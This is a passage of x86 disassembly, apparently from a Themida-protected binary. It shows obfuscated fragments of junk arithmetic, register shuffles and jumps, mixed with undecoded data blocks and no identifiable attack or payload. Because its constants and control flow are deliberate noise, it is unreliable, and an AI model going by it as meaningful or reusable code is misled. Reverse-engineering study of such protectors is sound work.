		pop	edi
		push	edx
		mov	edx, 580F2951h
		shl	edx, 2
		sub	edx, 54773392h
		add	edi, 8B36402h
		add	edi, edx
		push	ecx
		mov	ecx, 61396D06h
		or	ecx, 4C4E6BBEh
		inc	ecx
		not	ecx
		not	ecx
		add	ecx, 9B33F443h
		sub	edi, ecx
		pop	ecx
		jmp	loc_635D28
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 0FF8031E9h, 57665AFFh, 0FFC5EFE9h, 0C5EE81FFh, 89E3F706h
		dd 0F3E95EF5h, 5BFFFFE5h, 8052C380h, 40E98CEBh,	8300005Bh
		dd 48904ECh, 0CCC8E924h, 0CB87FFFFh, 9E668h, 242C8900h
		dd 1258E9h, 55E28900h, 468h, 0E3685D00h, 8900001Dh, 63B82404h
		dd 562E7209h, 0B43AEEBEh, 9CBF5739h, 8161C960h,	0A12D02E7h
		dd 6EEF812Eh, 0C1729703h, 0F78102E7h, 0B0D7565Eh, 315FFE29h
		dd 0C2295EF0h, 0D2B95158h, 295F726Bh, 0EA0159CAh, 6BD2C281h
		dd 0C2815F72h, 1C471FBBh, 0E9242C8Bh, 0FFFFF665h, 489E68h
		dd 242C8900h, 1862E9h, 3FD26800h, 34890000h, 0FEB85024h
		dd 2544F163h, 1D272C2Bh, 0CE3EF735h, 27AA255Fh,	5A0510A6h
		dd 89F7B234h, 0C13DE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64135A:				; CODE XREF: Themida_:0063AF6Dj
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_63D684
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_63C04F
; ---------------------------------------------------------------------------
		db 57h,	0FFh, 74h
		dd 3C8B0424h, 4C48124h,	8F000000h, 525C2404h, 8904EC83h
		dd 0E95A2404h, 3E73h
; ---------------------------------------------------------------------------


loc_64139C:				; CODE XREF: Themida_:00637EF7j
		add	eax, 1
		shl	eax, 4
		not	eax
		push	edi
		mov	edi, 6AAB6B0Eh
		jmp	loc_642430
; ---------------------------------------------------------------------------


loc_6413AF:				; CODE XREF: Themida_:00647D94j
		sub	ecx, 5911481Ah
		sub	ecx, eax
		add	ecx, 5911481Ah
		pop	eax
		sub	ebp, 6CA82B2Eh
		jmp	loc_6386BB
; ---------------------------------------------------------------------------


loc_6413C9:				; CODE XREF: Themida_:006355EAj
		pop	edi
		or	esi, ecx
		mov	ecx, [esp]
		jmp	loc_6435EE
; ---------------------------------------------------------------------------
		dd 0E9028F64h, 0FFFF41C9h, 0E88E1935h, 3177E9F1h, 0DBF70000h
		dd 0D5B6C381h, 0EE81CF7Dh, 4FE4A22h, 0C681DE01h, 4FE4A22h
		dd 0FFC228E9h, 24248BFFh, 0D6F6F186h, 0C30F186h, 240C3224h
		dd 0E9240C30h, 0FFFF418Dh, 5B2414F7h, 0FF5551E9h, 515E5AFFh
		dd 0FFDF3DE9h, 8BD301FFh, 0E9562414h, 0FFFFEF42h, 815DE989h
		dd 7E0551E9h, 81C12928h, 7E0551C1h, 342CE928h, 348B0000h
		dd 4C48124h, 81000000h,	1B4FDDF5h, 5DEA8946h, 1DABE56h
		dd 0E6810BC2h, 5DCE5CE9h, 1AEE814Eh, 8116D56Ah,	1C3BC2C6h
		dd 1FF68123h, 297EEFA4h, 0C5815EF5h, 2A3D4815h,	0BE56D529h
		dd 3C3220B6h, 68A3F681h, 0F529160Fh, 70C5815Eh,	5A68E776h
		dd 0E9242C33h, 1C64h, 516641B1h, 662414F6h, 165E959h, 3C8B0000h
		dd 4C48324h, 5386E9h, 6FD6BA00h, 0D101C5BAh, 8124148Bh
		dd 4C4h, 2A15E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6414D2:				; CODE XREF: Themida_:006476ACj
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		sub	bl, 0Bh
		sub	bl, ch
		add	bl, 0Bh
		pop	cx
		add	bl, 0E4h
		sub	bl, al
		sub	bl, 0E4h
		jmp	loc_63C74F
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0A3h
		dd 1013738h, 8B042474h,	0C4832434h, 4EC8304h, 0B9240C89h
		dd 55F1528Ah, 5B6BE181h, 0BA525DBCh, 0E339EE9Fh, 525AD101h
		dd 0ED1B1CBAh, 60B3E96Bh, 0C6680000h, 8900006Dh, 0B6E92424h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_641537:				; CODE XREF: Themida_:00646BE6j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_63D772
; ---------------------------------------------------------------------------
		dw 18B9h
aZcLS		db 'Z$)L$',8,'+',0
		align 4


loc_64155C:				; CODE XREF: Themida_:0063EED5j
		add	eax, 5FBB4BD1h
		sub	eax, 7EEE2BCFh
		sub	eax, esi
		add	eax, 7EEE2BCFh
		sub	eax, 5FBB4BD1h
		pop	esi
		push	3C64h
		mov	[esp], edi
		push	ebp
		mov	ebp, 40D423DFh
		push	ebp
		xor	dword ptr [esp], 4333035Ah
		pop	edi
		xor	edi, 4333035Ah
		jmp	loc_64928D
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 27h
		dd 2977F56Dh, 0E908247Ch, 0FFFFFB00h, 0C181E189h, 4, 4C181h
		dd 0C330000h, 240C3124h, 0FFDCA3E9h, 240C89FFh,	8AB074B1h
		dd 892C5204h, 0B753C800h, 0BEF8094h, 0FFF5B2E9h, 4E7C1FFh
		dd 1388E781h, 814F29D8h, 220054F7h, 5FFA0168h, 584BEA81h
		dd 0E95F2242h, 0FFFF4238h, 4C481h, 70050000h, 29375F4Ah
		dd 4A702DD8h, 0E95B375Fh, 5A03h, 8B5BFA88h, 67E92404h
		dd 80000015h, 0C9FE01C1h, 0C7E95066h, 5000084h,	4, 42Dh
		dd 24048700h, 243C895Ch, 42474FFh, 24048F5Fh, 0FF5CA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_641641:				; CODE XREF: Themida_:00640A74j
		mov	esi, 1F10046Eh
		or	esi, 5A4B1927h
		add	esi, 3ABB72DEh
		push	ebp
		mov	ebp, 1C8C0D4Dh
		dec	ebp
		jmp	loc_63A846
; ---------------------------------------------------------------------------
aSlj		db ']j',0
		align 4
		dd 0FE5BFA20h, 6E2C0CAh, 60E9CAFEh, 87FFFFD2h, 505C2404h
		dd 0D5807CB8h, 58C331BAh, 4CCCE955h, 0E381FFFFh, 141068D7h
		dd 6E2CB81h, 4AE93B2Ch,	0F7FFFFAEh, 3166E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_64169E:				; CODE XREF: Themida_:006453D0j
		push	ebx
		jmp	loc_6450D1
; ---------------------------------------------------------------------------
		dd 5506EBC1h, 0FF54B9E9h, 0E9F001FFh, 0FFFF7F55h, 0E9E08950h
		dd 0FFFF786Fh, 4C4835Ah, 5D2434FFh, 8304C483h, 0EA3101EDh
		dd 0EA31D531h, 3F36E955h, 14870000h, 7E9DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6416DE:				; CODE XREF: Themida_:0063876Bj
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_642C06
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 83241C8Bh, 348904ECh, 0E9E68924h,	93Ah, 24148B66h
		dd 5585450h, 4,	2BE56h,	0F0010000h, 2404875Eh, 59C8305Ch
		dd 0E998C380h, 0FFFFBF34h, 1BCCED81h, 148B4791h, 4C48124h
		dd 33000000h, 2C31242Ch, 242C3324h, 2404285Ch, 3E5BE99Ch
		dd 0E589FFFFh, 4C581h, 0ED830000h, 242C3304h, 33242C31h
		dd 248B242Ch, 241C8924h, 6017E9h
		db 0
; ---------------------------------------------------------------------------


loc_641769:				; CODE XREF: Themida_:006381ABj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_63DC88
; ---------------------------------------------------------------------------
		db 81h
		dd 4EBh, 241C8700h, 2404895Ch, 7C8A68h,	24248900h, 4240483h
		dd 40558h, 0EC810000h, 4, 0FF708FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6417A1:				; CODE XREF: Themida_:00641A95j
		pop	ebp
		push	ecx
		jmp	loc_63E946
; ---------------------------------------------------------------------------


loc_6417A8:				; CODE XREF: Themida_:0063BC3Dj
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, 458E25DAh
		sub	ebx, edi
		pop	edi
		add	ebx, edx
		add	ebx, 458E25DAh
		jmp	loc_649184
; ---------------------------------------------------------------------------
		db 81h
		dd 0F0336FE3h, 84C8E951h, 0C280FFFFh, 5AD12867h, 4DE9C828h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6417EB:				; CODE XREF: Themida_:0063AB9Bj
		pop	ecx
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		not	esi
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		and	ecx, 52EF409Ah
		xor	ecx, 47652F03h
		sub	eax, ecx
		pop	ecx
		push	small word ptr [eax]
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		db 5, 77h, 3Bh
		dd 0E8016150h, 503B772Dh, 242C8B61h, 4C481h, 0E1680000h
		dd 8900002Bh, 168241Ch,	8900000Bh, 27B82404h, 48435C03h
		dd 23DF68h, 242C8900h, 5E311EBDh, 8228E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_64184E:				; CODE XREF: Themida_:00644537j
		pop	ebx
		jmp	loc_639E3C
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 209FE9h, 2C896600h, 0AF80E924h, 0D301FFFFh
		dd 0D5A0E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_641872:				; CODE XREF: Themida_:00637FF9j
		sub	ecx, 70980840h
		push	0
		jmp	loc_63AB98
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C4h, 4BE5600h, 0E9000000h, 0FFFF9B43h
; ---------------------------------------------------------------------------


loc_641894:				; CODE XREF: Themida_:00637F13j
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	dword ptr [esp], 64821E5Ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 64821E5Ah
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_64A521
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4, 2474FF53h, 241C8B04h, 4C481h, 48F0000h, 1C895C24h
		dd 0BBB0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6418F6:				; CODE XREF: Themida_:0063BBE7j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	ebx
		push	ecx
		mov	ecx, 80977A1h
		mov	ebx, 6C8E895Ah
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 1B2E6968h
		or	ebx, ecx
		jmp	loc_63F165
; ---------------------------------------------------------------------------
		db 89h
		dd 0BA522424h, 4, 4245401h, 242C8B5Ah, 8104C483h, 4C5h
		dd 4C58100h, 87000000h,	525C242Ch, 0FFE4F7E9h, 4C483FFh
		dd 459D6850h, 8F540000h, 4812404h, 424h, 2434FF00h, 5B1DE9h
		db 0
; ---------------------------------------------------------------------------


loc_64196D:				; CODE XREF: Themida_:0063F5D6j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_6401C1
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 0EABD5524h, 8111B135h, 2120E9EDh
		dd 2ABB5377h, 816D6B19h, 0DD0DBBC3h, 0F753430Dh, 0BBE9241Ch
		dd 89000068h, 8768243Ch, 89000013h, 4832424h, 3C8B0424h
		dd 4C48324h, 4BD55h, 0EF810000h, 60CB4AD4h, 0C781EF01h
		dd 60CB4AD4h, 0FFB034E9h, 240481FFh, 4,	8124148Bh, 4C4h
		dd 4BF5700h, 1000000h, 243C8BFAh, 81E68956h, 4C6h, 4C68300h
		dd 5C243487h, 6804C283h, 0BC7h,	89243C89h, 4C781E7h, 83000000h
		dd 3C8704EFh, 24248B24h, 0FF241489h, 0E9042474h, 0FFFF4464h
		dd 5725C581h, 0DDF77B97h, 0FFE936E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_641A31:				; CODE XREF: Themida_:00646A60j
		mov	esi, 5F0A77B4h
		mov	eax, esi
		jmp	loc_64052A
; ---------------------------------------------------------------------------


loc_641A3D:				; CODE XREF: Themida_:006446D1j
		sub	ebx, 920127Eh
		pop	ebp
		add	ebx, 4
		push	525Fh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_645169
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 2474FF24h, 2434FF04h, 4EC815Ah, 0E9000000h
		dd 0FFFFC82Ch, 0E9243C31h, 0FFFF9F62h
; ---------------------------------------------------------------------------


loc_641A80:				; CODE XREF: Themida_:0064997Dj
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		sub	eax, 154957D8h
		push	ebp
		push	ebx
		mov	ebx, 0FFFFFFFFh
		mov	ebp, ebx
		pop	ebx
		sub	eax, ebp
		jmp	loc_6417A1
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8CE9240Ch, 5BFFFF4Eh, 28B2ED80h, 0B25259E8h,	65DEE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_641AB2:				; CODE XREF: Themida_:00636390j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_63C865
; ---------------------------------------------------------------------------


loc_641AC4:				; CODE XREF: Themida_:006443EBj
		inc	esi
		and	esi, 57067B9Ch
		inc	esi
		jmp	loc_6374E8
; ---------------------------------------------------------------------------
		db 68h,	0EEh, 34h
		dd 0D1E90000h, 1FFFF97h, 241C8BDDh, 697EE9h, 4E8C100h
		dd 2877E9h, 0C5815900h,	121909C6h, 0CBE9EA29h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_641AFB:				; CODE XREF: Themida_:0064A8F0j
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		sub	ebp, 6DC848BDh
		xor	ebp, 7AC226F5h
		neg	ebp
		push	eax
		mov	eax, 52475D5Bh
		dec	eax
		jmp	loc_643D2A
; ---------------------------------------------------------------------------
		dd 24148B54h, 8304C483h, 348904ECh, 5F1CBE24h, 0E9552AB7h
		dd 7557h
; ---------------------------------------------------------------------------


loc_641B40:				; CODE XREF: Themida_:006485F1j
		shl	esi, 4
		add	esi, 573C23BAh
		jmp	loc_63F7D7
; ---------------------------------------------------------------------------
		dw 48Bh
aSc		db '$)',0
		align 2


loc_641B56:				; CODE XREF: Themida_:00643465j
		add	ebp, eax
		pop	eax
		and	eax, ebp
		jmp	loc_63A1E4
; ---------------------------------------------------------------------------
		dd 9EC98149h, 81462919h, 128445C1h, 0BF575190h,	1AB02593h
		dd 4247C29h, 83243C8Bh,	0E95B04C4h, 0FFFFF638h,	81E68956h
		dd 4C6h, 0D8B8E900h, 248BFFFFh,	54575224h, 4C7815Fh, 81000000h
		dd 4EFh, 0B475E900h, 315FFFFFh,	814558C5h, 1EDh, 0E9E5D100h
		dd 0FFFF85D0h, 54241489h, 83EBE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_641BC6:				; CODE XREF: Themida_:00645D3Fj
		xor	edi, esi
		pop	esi
		sub	eax, edi
		pop	edi
		add	eax, ecx
		add	eax, 23D52DF1h
		push	dword ptr [esp]
		jmp	loc_63C50B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0BE0F2424h, 0E38953C8h, 4BE5657h, 56000000h,	24348B5Fh
		dd 4C481h, 61E90000h, 8BFFFF9Ch, 0C4812434h, 4,	31240C33h
		dd 0C33240Ch, 79E6E924h, 815FFFFFh, 4C7h, 0DBBB5300h, 81167A0Bh
		dd 6567F3CBh, 0EB814B71h, 777F6FF6h, 875BDF29h,	0E95C243Ch
		dd 0FFFFA971h
; ---------------------------------------------------------------------------


loc_641C38:				; CODE XREF: Themida_:00647A91j
		pop	edx
		sub	esi, 366C5A9Bh
		xor	edi, esi
		jmp	loc_63B6B8
; ---------------------------------------------------------------------------
		dw 0FF57h
		dd 0FF042474h, 0E95F2434h, 0FFFFC4C2h, 0DE8C281h, 0DAF72D79h
		dd 69AFEA81h, 0D0296B00h, 0E94F975Ah, 0FFFFBFA6h
; ---------------------------------------------------------------------------


loc_641C6C:				; CODE XREF: Themida_:006492D6j
		pop	edi
		add	eax, 2A1A2E38h
		sub	eax, ecx
		sub	eax, 2A1A2E38h
		pop	ecx
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	4
		mov	esi, [esp]
		jmp	loc_63D74E
; ---------------------------------------------------------------------------
		db 29h,	0CAh, 0E9h
		dd 0FFFF5C8Ch, 0B71360BFh, 4F1BB85Bh, 0F8311911h, 0E98E95Fh
		dd 248B0000h, 38F3E924h, 0FBB3FFFFh, 0FFAF43E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_641CB9:				; CODE XREF: Themida_:0063FC77j
		pop	edi
		jmp	loc_63DD53
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF38E1h, 630D14BAh, 0C784E937h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_641CCE:				; CODE XREF: Themida_:00639720j
		xor	ecx, 5F652445h
		jmp	loc_642179
; ---------------------------------------------------------------------------
aS_13		db '\*',9,0
		dw 8B00h
		dd 34FF2424h, 240C8B24h, 5304C483h, 5257E389h, 45966857h
		dd 0BE96C6Bh, 5C00004Fh, 0E95DEB29h, 0FFFFDCCFh
; ---------------------------------------------------------------------------


loc_641D04:				; CODE XREF: Themida_:0063BFFEj
		pop	esp
		jmp	loc_63B348
; ---------------------------------------------------------------------------


loc_641D0A:				; CODE XREF: Themida_:00638EECj
		push	ecx
		jmp	loc_6481BC
; ---------------------------------------------------------------------------
		dd 0F1B7535Bh, 0E900C780h, 0FFFF53CAh, 3124248Bh, 242C8BE8h
		dd 348B5456h, 4C48324h,	4BD55h,	0EE010000h, 4C6835Dh, 2474FF56h
		dd 24348B04h, 8F04C483h, 4FE92404h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_641D4B:				; CODE XREF: Themida_:0063A74Cj
		pop	ebp
		add	ebx, 156E2993h
		add	ebx, edi
		sub	ebx, 156E2993h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 28996714h
		xor	eax, 33E76ACh
		xor	eax, 4B8F43E6h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [ebx]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_636DDD
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF3818E9h, 0E9D089FFh, 2FF4h, 0C8BC829h, 4C48124h
		dd 89000000h, 24048BC3h, 4C481h, 0EB810000h, 482D4FDFh
		dd 589068h, 242C8900h, 2C6F46BDh, 83DDF70Fh, 0BF57FFC5h
		dd 0EAC496ADh, 4CE8E9h
		db 0
; ---------------------------------------------------------------------------


loc_641DCD:				; CODE XREF: Themida_:0063DBB9j
		mov	edi, edx
		pop	edx
		push	edx
		jmp	loc_64A4C0
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0C89BBA24h, 0D329963Ch, 0EC93E95Ah, 0C481FFFFh, 4, 5084E9h
		db 0
; ---------------------------------------------------------------------------


loc_641DF1:				; CODE XREF: Themida_:006371ACj
		push	6C61h
		mov	[esp], eax
		jmp	loc_640E35
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFB528h
; ---------------------------------------------------------------------------


loc_641E04:				; CODE XREF: Themida_:00644871j
		add	ecx, eax
		sub	ecx, 5CC1306h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_63CFC5
; ---------------------------------------------------------------------------


loc_641E23:				; CODE XREF: Themida_:0063EC61j
		mov	edx, 727D726Bh
		shl	edx, 6
		jmp	loc_63FC7C
; ---------------------------------------------------------------------------
		dd 0C5815D54h, 4, 85E2E9h, 24348B00h, 75C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_641E45:				; CODE XREF: Themida_:006483BAj
		add	esp, 4
		push	edi
		jmp	loc_63A76E
; ---------------------------------------------------------------------------


loc_641E4E:				; CODE XREF: Themida_:00645106j
		add	esp, 4
		xchg	eax, ecx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	1D7Ch
		mov	[esp], ebx
		push	6E2Dh
		jmp	loc_640893
; ---------------------------------------------------------------------------
		dd 2BEh, 64E12D00h, 0BB532C1Eh,	4EA02EC1h, 0B8E9DBF7h
		dd 5BFFFFC5h, 4C381h, 0BF570000h, 2, 335FFB01h,	83E9241Ch
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_641E9F:				; CODE XREF: Themida_:0063CBF7j
		mov	edi, ebp
		pop	ebp
		xor	edx, edi
		pop	edi
		push	4A3Fh
		mov	[esp], eax
		mov	eax, 60A626AAh
		push	eax
		neg	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, 193E34D6h
		or	edx, 7E671EC5h
		add	edx, 8F8000BEh
		xor	eax, edx
		pop	edx
		add	edx, 268F7B2Eh
		add	edx, eax
		sub	edx, 268F7B2Eh
		pop	eax
		jmp	loc_637BFF
; ---------------------------------------------------------------------------


loc_641EE0:				; CODE XREF: Themida_:0063E0EBj
		xchg	eax, ebx
		push	ebx
		push	edx
		pop	ebx
		pop	edx
		push	edx
		jmp	loc_646331
; ---------------------------------------------------------------------------
		db 83h
		dd 0C48304C4h, 0E9EA0104h, 0FFFF97E9h
; ---------------------------------------------------------------------------


loc_641EF8:				; CODE XREF: Themida_:006477ACj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_649730
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 81240C8Bh, 4C4h, 0E0895000h, 8904EC83h, 0B9512414h
		dd 4, 5559CA89h, 6E3B1ABDh, 5DE80143h, 0FFB9B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_641F39:				; CODE XREF: Themida_:006447DFj
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_63BA78
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 67E4A9Ch, 0E95BD801h, 0FFFFC936h
; ---------------------------------------------------------------------------


loc_641F58:				; CODE XREF: Themida_:00644987j
		sub	esi, 3D706F4Eh
		jmp	loc_6456FB
; ---------------------------------------------------------------------------
		db 83h
		dd 0E98104C4h, 55DC6B8Ah, 0E9241C8Bh, 0FFFF5245h
; ---------------------------------------------------------------------------


loc_641F74:				; CODE XREF: Themida_:00642AA8j
		mov	edi, 0EA0B9998h
		sub	edx, edi
		pop	edi
		mov	ebp, edx
		pop	edx
		sub	[esp+4], ebp
		jmp	loc_648DD9
; ---------------------------------------------------------------------------
		dd 83B45066h, 0E957C580h, 0FFFFE082h
; ---------------------------------------------------------------------------


loc_641F94:				; CODE XREF: Themida_:0063ACEDj
		mov	edx, esp
		push	esi
		mov	esi, 46B4FC9h
		and	esi, 46CC04F4h
		push	ebx
		mov	ebx, 1E9D2D9Ch
		or	esi, ebx
		pop	ebx
		dec	esi
		jmp	loc_643F9C
; ---------------------------------------------------------------------------


loc_641FB1:				; CODE XREF: Themida_:0063A286j
		add	edi, 69D7D684h
		add	ebx, edi
		pop	edi
		push	ecx
		jmp	loc_6374CD
; ---------------------------------------------------------------------------


loc_641FC0:				; CODE XREF: Themida_:00647C80j
		push	ebx
		mov	ebx, 47D96C1Ch
		sub	ebx, 195464F6h
		push	ecx
		jmp	loc_6460AE
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 0B9282B05h, 39E95F05h, 89FFFFD7h, 0E9542404h, 6C95h
		dd 3308B5B9h, 9166857h,	0CFE90000h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_641FF7:				; CODE XREF: Themida_:0063DF1Bj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2EB3736Ch
		push	ebp
		mov	ebp, 0D4A1DE8h
		inc	ebp
		not	ebp
		and	ebp, 5FFD509Fh
		jmp	loc_63B7C5
; ---------------------------------------------------------------------------
		dd 8070E780h, 0F82830EFh, 5B2434FFh, 4C481h, 0E9E90000h
		dd 0FFFFB5h, 2BC5E9F0h,	0C6810000h, 4, 8704C683h, 10E92434h
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64204F:				; CODE XREF: Themida_:00646C01j
		inc	eax
		push	esi
		mov	esi, 61ED2AA4h
		and	eax, esi
		pop	esi
		sub	eax, 27FFFCh
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edi, 2
		xor	edi, [esp]
		jmp	loc_63FB5B
; ---------------------------------------------------------------------------


loc_642076:				; CODE XREF: Themida_:00642EE4j
		and	ecx, 2C7A6DBEh
		and	ecx, 23055A01h
		xor	ecx, 445B6A18h
		xor	ecx, 5FF874CBh
		and	eax, ecx
		pop	ecx
		or	eax, 52403534h
		add	eax, 1339E2B9h
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	6A42h
		mov	[esp], esi
		push	4E80128Ah
		pop	esi
		push	edi
		jmp	loc_639288
; ---------------------------------------------------------------------------
		dd 4BE56h, 0F1290000h, 240C875Eh, 292FE95Ch, 0EE290000h
		dd 0FFB618E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6420D1:				; CODE XREF: Themida_:006436E8j
		pop	eax
		jmp	loc_6392A7
; ---------------------------------------------------------------------------
		db 50h
		dd 7B17E9h, 0C3295E00h,	8324048Bh, 0C8904ECh, 81E18924h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFF46ACh, 89F18951h
		dd 0E82AE9CAh, 5058FFFFh, 0BEA2E954h, 0EF81FFFFh, 2F446A3Eh
		dd 0EC81D7F7h, 4, 0BD242C89h, 4F09072Eh, 8F83ED81h, 0CE9E6A1h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642133:				; CODE XREF: Themida_:00642E58j
		add	ecx, ebx
		jmp	loc_647DB4
; ---------------------------------------------------------------------------
		dw 5066h
		dd 88E96CB4h, 89FFFF82h, 4BA2414h, 0E9000000h, 1424h, 4C481h
		dd 0DDE90000h, 20FFFFB2h, 0D6E958E7h, 8BFFFF92h, 0C483240Ch
		dd 9552E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64216E:				; CODE XREF: Themida_:0063B2A7j
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_64A7C0
; ---------------------------------------------------------------------------


loc_642179:				; CODE XREF: Themida_:00641CD4j
		add	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 5ABCBF31h
		sub	edx, eax
		pop	eax
		jmp	loc_647A47
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 1876BF24h, 0EE815DDEh, 1ECA4B6Fh, 0C681FE01h, 1ECA4B6Fh
		dd 68243C8Bh, 4EB8h, 0D63E9h, 0E9FE8900h, 28D6h, 43A2E95Ah
		dd 0E9C1FFFFh, 0C537E907h, 58BDFFFFh, 0F735964Dh, 81D5F7DDh
		dd 0BD63D6EDh, 22ED8133h, 21B19B8Ch, 55525DEAh,	0E92434FFh
		dd 0FFFFF4D8h
; ---------------------------------------------------------------------------


loc_6421E4:				; CODE XREF: Themida_:00646E5Dj
		add	esi, 0FF14A86Dh
		jmp	loc_647A10
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF5813E9h, 24048BFFh, 0FF8FF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6421FD:				; CODE XREF: Themida_:0063836Dj
		and	eax, 4E256584h
		dec	eax
		sub	eax, 0D3819D7Ah
		or	edx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	edx, 7
		or	edx, 19254503h
		shr	edx, 4
		jmp	loc_64A1ED
; ---------------------------------------------------------------------------
aLH5		db '$$h,5',0
		align 4
		dd 83240C89h, 0C7E904ECh
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642237:				; CODE XREF: Themida_:00635AE6j
		mov	[esp], ecx
		mov	ecx, 73FC67A4h
		mov	edx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_646F06
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 81000000h, 4C5h, 242C8700h, 124248Bh, 24148BD0h, 5304C483h
		dd 2AE9h, 0AE95500h, 81000001h,	106940C1h, 8FE95A15h, 89FFFF68h
		dd 2BA2414h, 57000000h,	8DE6853h, 0F75B7032h, 30E952D3h
		dd 0BBFFFF5Eh, 6AA626C5h, 0F3BB5355h, 0E977510Ah, 4EBDh
; ---------------------------------------------------------------------------


